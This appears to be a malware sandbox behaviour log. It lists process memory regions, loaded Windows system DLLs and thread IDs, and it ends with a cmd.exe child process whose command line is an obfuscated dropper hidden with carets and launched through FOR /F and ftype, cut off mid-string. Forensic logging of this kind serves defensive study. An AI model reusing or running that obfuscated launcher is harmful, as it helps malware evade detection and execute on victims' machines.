0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 865 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 866 start_va = 0x7fffff62000 end_va = 0x7fffff63fff entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 867 start_va = 0x7fffff66000 end_va = 0x7fffff67fff entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 868 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 869 start_va = 0x7fffff70000 end_va = 0x7fffff71fff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 870 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 871 start_va = 0x7fffff74000 end_va = 0x7fffff75fff entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 872 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 873 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 874 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 875 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 876 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 877 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 878 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 879 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 880 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 881 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 882 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 883 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 884 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 885 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 886 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 887 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 888 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 889 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 890 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 891 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 892 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 893 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 894 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 895 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 896 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 897 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 898 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 899 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 900 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 901 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 902 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 903 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 904 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 905 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1079 start_va = 0x7fee55d0000 end_va = 0x7fee56a1fff entry_point = 0x7fee55d0000 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1080 start_va = 0x7fef5990000 end_va = 0x7fef5999fff entry_point = 0x7fef5990000 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 1513 start_va = 0xdd0000 end_va = 0xdd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000dd0000" filename = "" Region: id = 1514 start_va = 0xde0000 end_va = 0xde0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000de0000" filename = "" Region: id = 1515 start_va = 0x3240000 end_va = 0x32bffff entry_point = 0x0 region_type = private name = "private_0x0000000003240000" filename = "" Region: id = 1516 start_va = 0x7fee56c0000 end_va = 0x7fee56d1fff entry_point = 0x7fee56c0000 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1517 start_va = 0x26b0000 end_va = 0x272ffff entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 1518 start_va = 0x7fee20a0000 end_va = 0x7fee20e4fff entry_point = 0x7fee20a0000 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1519 start_va = 0x7fef7030000 end_va = 0x7fef7040fff entry_point = 0x7fef7030000 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1520 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1521 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1522 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 1606 start_va = 0x2d50000 end_va = 0x2dcffff entry_point = 0x0 region_type = private name = "private_0x0000000002d50000" filename = "" Region: id = 1607 start_va = 0x2fa0000 end_va = 0x301ffff entry_point = 0x0 region_type = private name = "private_0x0000000002fa0000" filename = "" Region: id = 1608 start_va = 0x38b0000 end_va = 0x392ffff entry_point = 0x0 region_type = private name = "private_0x00000000038b0000" filename = "" Region: id = 1609 start_va = 0x3950000 end_va = 0x39cffff entry_point = 0x0 region_type = private name = "private_0x0000000003950000" filename = "" Region: id = 1610 start_va = 0x3bc0000 end_va = 0x3c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003bc0000" filename = "" Region: id = 1611 start_va = 0x3f20000 end_va = 0x3f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f20000" filename = "" Region: id = 1612 start_va = 0x3fe0000 end_va = 0x405ffff entry_point = 0x0 region_type = private name = "private_0x0000000003fe0000" filename = "" Region: id = 1613 start_va = 0x4240000 end_va = 0x42bffff entry_point = 0x0 region_type = private name = "private_0x0000000004240000" filename = "" Region: id = 1614 start_va = 0x4940000 end_va = 0x49bffff entry_point = 0x0 region_type = private name = "private_0x0000000004940000" filename = "" Region: id = 1615 start_va = 0x4af0000 end_va = 0x4b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004af0000" filename = "" Region: id = 1616 start_va = 0x4ba0000 end_va = 0x4c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004ba0000" filename = "" Region: id = 1617 start_va = 0x7fedfe80000 end_va = 0x7fee00d2fff entry_point = 0x7fedfe80000 region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 1618 start_va = 0x7fee56b0000 end_va = 0x7fee56befff entry_point = 0x7fee56b0000 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 1619 start_va = 0x7fee66f0000 end_va = 0x7fee6969fff entry_point = 0x7fee66f0000 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1620 start_va = 0x7fef54d0000 end_va = 0x7fef5540fff entry_point = 0x7fef54d0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1621 start_va = 0x7fef7de0000 end_va = 0x7fef7dfafff entry_point = 0x7fef7de0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1622 start_va = 0x7fffff52000 end_va = 0x7fffff53fff entry_point = 0x0 region_type = private name = "private_0x000007fffff52000" filename = "" Region: id = 1623 start_va = 0x7fffff54000 end_va = 0x7fffff55fff entry_point = 0x0 region_type = private name = "private_0x000007fffff54000" filename = "" Region: id = 1624 start_va = 0x7fffff56000 end_va = 0x7fffff57fff entry_point = 0x0 region_type = private name = "private_0x000007fffff56000" filename = "" Region: id = 1625 start_va = 0x7fffff58000 end_va = 0x7fffff59fff entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 1626 start_va = 0x7fffff60000 end_va = 0x7fffff61fff entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 1627 start_va = 0x7fffff64000 end_va = 0x7fffff65fff entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 1628 start_va = 0x7fffff68000 end_va = 0x7fffff69fff entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 1629 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 1630 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 1631 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 1632 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 1633 start_va = 0x1d30000 end_va = 0x1d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 1634 start_va = 0x4c20000 end_va = 0x4d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004c20000" filename = "" Region: id = 1635 start_va = 0x77e00000 end_va = 0x77e06fff entry_point = 0x77e00000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1636 start_va = 0x7fefd5d0000 end_va = 0x7fefd5d7fff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 1637 start_va = 0x7fee1b30000 end_va = 0x7fee1b3cfff entry_point = 0x7fee1b30000 region_type = mapped_file name = "wups.dll" filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll") Region: id = 2564 start_va = 0xe00000 end_va = 0xe19fff entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 2565 start_va = 0xe20000 end_va = 0xe20fff entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 2566 start_va = 0xe30000 end_va = 0xe30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e30000" filename = "" Region: id = 2567 start_va = 0xec0000 end_va = 0xec7fff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 2568 start_va = 0xef0000 end_va = 0xf6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 2569 start_va = 0xfd0000 end_va = 0xfdffff entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 2570 start_va = 0xfe0000 end_va = 0xfeffff entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 2571 start_va = 0xff0000 end_va = 0xffffff entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 2572 start_va = 0x1000000 end_va = 0x1000fff entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 2573 start_va = 0x1020000 end_va = 0x1021fff entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 2574 start_va = 0x1030000 end_va = 0x1030fff entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 2575 start_va = 0x1040000 end_va = 0x104ffff entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 2576 start_va = 0x1050000 end_va = 0x1057fff entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2577 start_va = 0x13b0000 end_va = 0x13bffff entry_point = 0x0 region_type = private name = "private_0x00000000013b0000" filename = "" Region: id = 2578 start_va = 0x13c0000 end_va = 0x13cffff entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 2579 start_va = 0x14d0000 end_va = 0x14d7fff entry_point = 0x0 region_type = private name = "private_0x00000000014d0000" filename = "" Region: id = 2580 start_va = 0x14e0000 end_va = 0x14effff entry_point = 0x14e0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2581 start_va = 0x14f0000 end_va = 0x14fffff entry_point = 0x14f0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2582 start_va = 0x1500000 end_va = 0x150ffff entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 2583 start_va = 0x1510000 end_va = 0x151ffff entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 2584 start_va = 0x16a0000 end_va = 0x16affff entry_point = 0x0 region_type = private name = "private_0x00000000016a0000" filename = "" Region: id = 2585 start_va = 0x16b0000 end_va = 0x16b7fff entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 2586 start_va = 0x16c0000 end_va = 0x16cffff entry_point = 0x0 region_type = private name = "private_0x00000000016c0000" filename = "" Region: id = 2587 start_va = 0x1940000 end_va = 0x19bffff entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 2588 start_va = 0x1dc0000 end_va = 0x1dcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dc0000" filename = "" Region: id = 2589 start_va = 0x1dd0000 end_va = 0x1ddffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dd0000" filename = "" Region: id = 2590 start_va = 0x1de0000 end_va = 0x1deffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001de0000" filename = "" Region: id = 2591 start_va = 0x1df0000 end_va = 0x1dfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001df0000" filename = "" Region: id = 2592 start_va = 0x1e00000 end_va = 0x1e0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 2593 start_va = 0x1e10000 end_va = 0x1e1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e10000" filename = "" Region: id = 2594 start_va = 0x24f0000 end_va = 0x24fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 2595 start_va = 0x2500000 end_va = 0x250ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002500000" filename = "" Region: id = 2596 start_va = 0x2510000 end_va = 0x251ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002510000" filename = "" Region: id = 2597 start_va = 0x2520000 end_va = 0x252ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002520000" filename = "" Region: id = 2598 start_va = 0x2530000 end_va = 0x253ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002530000" filename = "" Region: id = 2599 start_va = 0x2540000 end_va = 0x254ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002540000" filename = "" Region: id = 2600 start_va = 0x2ab0000 end_va = 0x2b6ffff entry_point = 0x2ab0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2601 start_va = 0x3ae0000 end_va = 0x3b1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ae0000" filename = "" Region: id = 2602 start_va = 0x3b20000 end_va = 0x3b5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003b20000" filename = "" Region: id = 2603 start_va = 0x4d20000 end_va = 0x4e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d20000" filename = "" Region: id = 2604 start_va = 0x4e20000 end_va = 0x4f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e20000" filename = "" Region: id = 2605 start_va = 0x4f20000 end_va = 0x501ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f20000" filename = "" Region: id = 2606 start_va = 0x5020000 end_va = 0x511ffff entry_point = 0x0 region_type = private name = "private_0x0000000005020000" filename = "" Region: id = 2607 start_va = 0x5130000 end_va = 0x51affff entry_point = 0x0 region_type = private name = "private_0x0000000005130000" filename = "" Region: id = 2608 start_va = 0x51e0000 end_va = 0x525ffff entry_point = 0x0 region_type = private name = "private_0x00000000051e0000" filename = "" Region: id = 2609 start_va = 0x5260000 end_va = 0x535ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005260000" filename = "" Region: id = 2610 start_va = 0x5360000 end_va = 0x545ffff entry_point = 0x0 region_type = private name = "private_0x0000000005360000" filename = "" Region: id = 2611 start_va = 0x5460000 end_va = 0x645ffff entry_point = 0x0 region_type = private name = "private_0x0000000005460000" filename = "" Region: id = 2612 start_va = 0x7fee4fe0000 end_va = 0x7fee51b3fff entry_point = 0x7fee4fe0000 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 2613 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2614 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2615 start_va = 0x7fffff50000 end_va = 0x7fffff51fff entry_point = 0x0 region_type = private name = "private_0x000007fffff50000" filename = "" Region: id = 2616 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Thread: id = 38 os_tid = 0x9e4 Thread: id = 39 os_tid = 0x9e0 Thread: id = 40 os_tid = 0x9dc Thread: id = 41 os_tid = 0x9d0 Thread: id = 42 os_tid = 0x9cc Thread: id = 43 os_tid = 0x9c8 Thread: id = 44 os_tid = 0x9c4 Thread: id = 45 os_tid = 0x9c0 Thread: id = 46 os_tid = 0x9b0 Thread: id = 47 os_tid = 0x144 Thread: id = 48 os_tid = 0x740 Thread: id = 49 os_tid = 0x5c4 Thread: id = 50 os_tid = 0xf0 Thread: id = 51 os_tid = 0x7e0 Thread: id = 52 os_tid = 0x20c Thread: id = 53 os_tid = 0x31c Thread: id = 54 os_tid = 0x24c Thread: id = 55 os_tid = 0x4f8 Thread: id = 56 os_tid = 0x298 Thread: id = 57 os_tid = 0x150 Thread: id = 58 os_tid = 0x7fc Thread: id = 59 os_tid = 0x7e4 Thread: id = 60 os_tid = 0x790 Thread: id = 61 os_tid = 0x750 Thread: id = 62 os_tid = 0x74c Thread: id = 63 os_tid = 0x71c Thread: id = 64 os_tid = 0x718 Thread: id = 65 os_tid = 0x70c Thread: id = 66 os_tid = 0x6ec Thread: id = 67 os_tid = 0x4c0 Thread: id = 68 os_tid = 0x498 Thread: id = 69 os_tid = 0x494 Thread: id = 70 os_tid = 0x484 Thread: id = 71 os_tid = 0x480 Thread: id = 72 os_tid = 0x474 Thread: id = 73 os_tid = 0x120 Thread: id = 74 os_tid = 0x3fc Thread: id = 75 os_tid = 0x3f0 Thread: id = 76 os_tid = 0x3e4 Thread: id = 77 os_tid = 0x398 Thread: id = 78 os_tid = 0x394 Thread: id = 79 os_tid = 0x390 Thread: id = 80 os_tid = 0x384 Thread: id = 81 os_tid = 0x378 Thread: id = 82 os_tid = 0x370 Thread: id = 88 os_tid = 0xa98 Thread: id = 103 os_tid = 0xbc4 Thread: id = 104 os_tid = 0xbfc Thread: id = 106 os_tid = 0x824 Thread: id = 107 os_tid = 0x818 Thread: id = 108 os_tid = 0x570 Thread: id = 112 os_tid = 0x140 Thread: id = 113 os_tid = 0x930 Thread: id = 114 os_tid = 0x980 Thread: id = 115 os_tid = 0x35c Thread: id = 116 os_tid = 0x9a8 Thread: id = 117 os_tid = 0x9ac Thread: id = 118 os_tid = 0x98c Thread: id = 119 os_tid = 0x7ac Thread: id = 120 os_tid = 0xa14 Thread: id = 121 os_tid = 0x798 Thread: id = 126 os_tid = 0x504 Thread: id = 190 os_tid = 0x5e0 Thread: id = 231 os_tid = 0xb18 Thread: id = 232 os_tid = 0xaf8 Thread: id = 233 os_tid = 0xb58 Thread: id = 234 os_tid = 0xb0c Thread: id = 235 os_tid = 0xb14 Thread: id = 236 os_tid = 0xb40 Thread: id = 246 os_tid = 0xba8 Thread: id = 247 os_tid = 0x97c Thread: id = 301 os_tid = 0x134 Thread: id = 302 os_tid = 0x82c Thread: id = 311 os_tid = 0x77c Thread: id = 312 os_tid = 0x2b4 Thread: id = 313 os_tid = 0xb6c Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x53699000" os_pid = "0xac0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x8f8" cmd_line = "CMD.Exe /c ^F^o^r ; /^f ;; \" tokens= +2 delims=FeH\" , %^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,%^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ 